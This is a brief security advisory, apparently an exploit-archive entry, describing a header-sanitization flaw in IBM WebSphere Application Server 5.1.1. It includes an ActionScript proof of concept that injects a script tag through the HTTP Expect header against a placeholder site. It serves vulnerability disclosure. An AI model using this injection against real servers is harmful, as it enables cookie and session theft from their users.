IBM Websphere Application Server 5.1.1 - WebContainer HTTP Request Header Security

source: https://www.securityfocus.com/bid/26457/info

IBM WebSphere Application Server is prone to a security weakness regarding an HTTP request header. The software fails to sanitize a certain HTTP header when the data is redirected to an error message.

An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks.

var req:LoadVars=new LoadVars();
req.addRequestHeader("Expect",
"<script>alert('gotcha!')</script>");
req.send("http://www.target.site/","_blank","GET");